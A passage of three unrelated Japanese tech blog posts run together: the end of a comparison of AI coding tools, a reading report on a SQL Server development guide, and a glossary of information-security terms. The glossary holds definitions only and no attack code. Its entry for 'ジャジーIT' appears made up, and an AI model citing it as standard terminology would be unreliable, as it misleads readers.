実際UIの不具合修正を相談した時はChatGPTでは答えにつながりましたが、Devinではうまくいきませんでした。

cursor
---
cursorはAIエディタです
使い方としてはAndroidStudioのGeminiに似てます。
コードの補完やチャットベースでの実装相談などGeminiでできることはほとんどできます。
また、Geminiとは違いただのAIエディタなので言語などに縛られることがないです。
強みとしてはコードを書く時の制約を作れるところにあると思います。
「こういうコードは書かないで」、「こういう時はこれを使うようにして」という制約を毎回支持しなくてもいいのは助かります。
また、年契約をすることで多少安くなるのも個人契約としてはうれしいです。

giuthub Copilot
---
最後にGitHubCopilotです。
最後に使ったのが半年ほど前なのでこちらはあまり参考にならないかもしれませんが、正直一番微妙でした。
良くも悪くもAIだなという所管です。
そのプロジェクトでよく記述してる方法やこの後何を書きたいのかなどをTabキーを押すことで勝手に記述してくれます。
ただ、それだと似たComponentや関数などを書いてるときに似て非なるものなのでTabで出したコードが微妙だったりします。

### 最後に
割といろいろな種類のAIを触ってる気がするのでサブスクなどを悩んでる方の参考になれたらと思い今回の記事を書いてみました。
AugmentCodeを今度触ると思うので、またどこかのタイミングで記事にしようかなと思います。
読書感想文「SQLServer　実践開発ガイド」

# 書籍名「SQLServer　実践開発ガイド」
五十嵐貴之
技術評論社

# 読もうと思った動機
・業務でSQLServerとそのストアド・プロシージャを使う機会をあるため
・ストアド関係の本で検索したところ検索結果に本書があったため

# 印象に残った部分

## p12 SQLServerの世代
第三世代（SQL Server2005/2008/R2）に強化されたBIとは、企業組織がこれまでに蓄えられた売上データや顧客データなど、ありとあらゆる様々なデータを経営戦略にかかわる意思決定のために分析する手法のことを言います。またそれらのデータのことを「データウェアハウス」と言います。


## p23 データベースを利用するユーザ
SQLServerをインストールした直後は「sa」という管理者権限を持ったインスタンスのログインユーザーが作成されています。この「sa」でインスタンスにログインしたユーザは、データベースを作成したり新しいユーザを作成することができます。またデータベースを作成したユーザはそのデータベースにおいて、「dbo」という管理者権限をもったデータベースユーザが紐づけられます。

## p24 データベースのユーザ確認方法
SQL Server Management Studioについて
「データベース」→「閲覧したいデータベース」
→「セキュリティ」→「ユーザ」の順に展開すると表示されます。

## p31~33 SQL Serverのルール

SQLServer Profiler
 SQLServerに対して実行されたクエリを履歴として閲覧することができるツールです。障害調査のときに重宝します。

Azure Data Studio
Transact-SQL専用のコードエディタ

## p109 パフォーマンス監視
WindowsOS標準の「パフォーマンスモニター」を利用することで、SQLServerのパフォーマンスやメモリの使用率、トランザクションやロック状況などをリアルタイムに監視することができます。

起動方法
windows管理ツール→パフォーマンスモニター


## p270 例外処理
エラーに関するシステム関数
関数|内容
----|---
ERROR_LINE()|エラーが発生した行の番号を返す
ERROR_MESSAGE()|アプリケーションから返されるエラーメッセージのテキストを返す
ERROR_NUMBER()|エラー番号を返す
ERROR_PROCEDURE()|エラーが発生したストアド・プロシージャまたはトリガの名前を返す
ERROR_SEVERITY()|重大度を返す
ERRRO_STATE()|状態を返す

## p279 ストアド・プロシージャとは
ストアドは　一連のデータ操作の手順をまとめた複数のクエリをデータベースのオブジェクトとして保存したものを言います。


## p307 カーソル
カーソルは　SELECTステートメントの実行結果からレコードを１件ずつ取得する際に使います。
カーソルを定義した後は必ず後始末をしなくてはなりません。

## p409 ストアド・プロシージャ内での例外処理
```
BEGIN TRY
 <例外が発生したら補足したい処理>
END TRY
BEGIN CATCH
 <例外が発生した場合の処理>
END CATCH

```
TRYブロック内に記述した処理において例外が発生した場合、CATCHブロック内に記述したロジックに処理を移行します。
例外が発生しなければ、CATCHブロック内に記述されている処理は行われません。

# 実践できること or 感想

## 感想
SQLServerProfilerとパフォーマンスの監視の確認方法について、知ることが良かったです。

## 実践できること
１０章の業務に即したサンプルを実装して試す。

８章のカーソルのサンプルを試す。
「情報セキュリティの基礎大全」～攻撃手法・マルウェア・用語まとめ完全版～



## はじめに

情報セキュリティの世界では、ウイルスや詐欺行為などのサイバー脅威が日々進化しています。  
この記事では、**マルウェアの種類・攻撃者の手口・防御手段・セキュリティ関係者の分類**などを体系的にまとめ、重要用語を網羅的に解説します。

---

## 1️⃣ マルウェアとは？その分類と特徴

マルウェアとは「Malicious Software（悪意のあるソフトウェア）」の略で、ユーザーに被害を与えるプログラム全般を指します。  
以下は主なマルウェアの種類とその特徴です。

| 分類 | 用語 | 概要 |
|------|------|------|
| **自己増殖型** | ワーム | ネットワークを通じて自己増殖し、他のPCに感染を広げる。 |
| **潜伏型** | トロイの木馬 | 無害なソフトに見せかけて、裏で悪意ある処理を行う。 |
|  | ルートキット | OSの深部に潜み、他のマルウェアの存在を隠す。検出困難。 |
| **遠隔操作型** | RAT | 感染したPCを遠隔操作するトロイの木馬型マルウェア。 |
|  | BOT | 攻撃者の指令で動く「操り人形化」された感染端末。 |
|  | ボットハーダー | 複数のBOTを操作する攻撃者（指令役）。 |
| **情報収集型** | キーロガー | キーボード入力を記録してパスワードなどを盗む。 |
|  | スパイウェア | ユーザーの行動や個人情報を密かに収集する。 |
| **金銭要求型** | ランサムウェア | ファイルを暗号化し、解除のために金銭を要求。 |
| **感染経路特化型** | ガンブラー | 改ざんされたWebサイト経由で感染させる。 |
| **オフィス文書型** | マクロウェア | WordやExcelのマクロ機能を悪用し感染させる。 |

---

## 2️⃣ 攻撃者の手法・悪用技術

マルウェアだけでなく、攻撃者は心理やシステムの隙を突いて侵入してきます。

| 用語 | 概要 |
|------|------|
| バックドア | 攻撃者がこっそり作る不正アクセス用の“裏口”。 |
| なりすまし | 他人になりきってログイン・情報取得する。 |
| クラッキング | 他人のPCやサーバーを不正侵入・破壊する行為。 |
| ソーシャルエンジニアリング | 人間の心理を利用してパスワードや情報を盗む。 |
| セキュリティホール | システムやソフトウェアの未修正の脆弱性。 |
| フィッシング | 本物そっくりの偽サイトで情報を盗む詐欺。 |
| ゼロデイ攻撃 | 開発元も気づいていない脆弱性を即座に突く攻撃。 |
| DDoS攻撃 | 複数の端末から同時にアクセスし、サービスを妨害。 |
| ブルートフォース攻撃 | パスワードを総当たりで解読。 |
| 辞書攻撃 | よく使われる単語でパスワードを推測。 |

---

## 3️⃣ セキュリティ技術・対策手法

| 用語 | 概要 |
|------|------|
| ファイアウォール | 通信の出入りを制御する“防火壁”。 |
| IDS（侵入検知） | 不正アクセスを検出して通知。 |
| IPS（侵入防止） | 不正アクセスを検出し、遮断も行う。 |
| 多要素認証（MFA） | パスワードに加えてスマホなど複数の認証を要求。 |
| ゼロトラスト | 全てを信用せず、常に認証・検証するセキュリティ設計。 |
| サンドボックス | 危険なプログラムを仮想空間で安全に実行・検査。 |
| バックアップ | データを別環境に保存し、被害時に復元可能にする。 |

---

## 4️⃣ ハッカーの分類と特徴

| 分類 | 用語 | 概要 |
|------|------|------|
| 悪意ある攻撃者 | クラッカー | システムに不正侵入して破壊・盗聴などを行う。 |
| 未熟な攻撃者 | スクリプトキディ | 既製のツールで攻撃する技術力の低い攻撃者。 |
| 正義のハッカー | ホワイトハッカー | セキュリティ診断など、善意で活動する専門家。 |

---

## 5️⃣ その他：現代のセキュリティ事情

| 用語 | 概要 |
|------|------|
| インシデント | セキュリティに関わる事故やトラブル。 |
| 情報漏えい | 本来守るべきデータが外部に漏れること。 |
| 情報倫理 | 情報社会におけるモラルやルール（SNSのマナーなど）。 |
| ジャジーIT | 派手さばかりで実用性や安全性のないIT（批判的表現）。 |
| エクスプロイト | 脆弱性を攻撃するためのツールやコード。 |

---

## 🔚 おわりに

この記事では、マルウェアから攻撃手法、対策、そして関係者の分類までを包括的に紹介しました。  
情報セキュリティは「**知ることで守る**」世界です。用語を理解することが、最初の大きな一歩になります。


https://qiita.com/SMZPP/items/ac9ce8d1b398a7ee44e6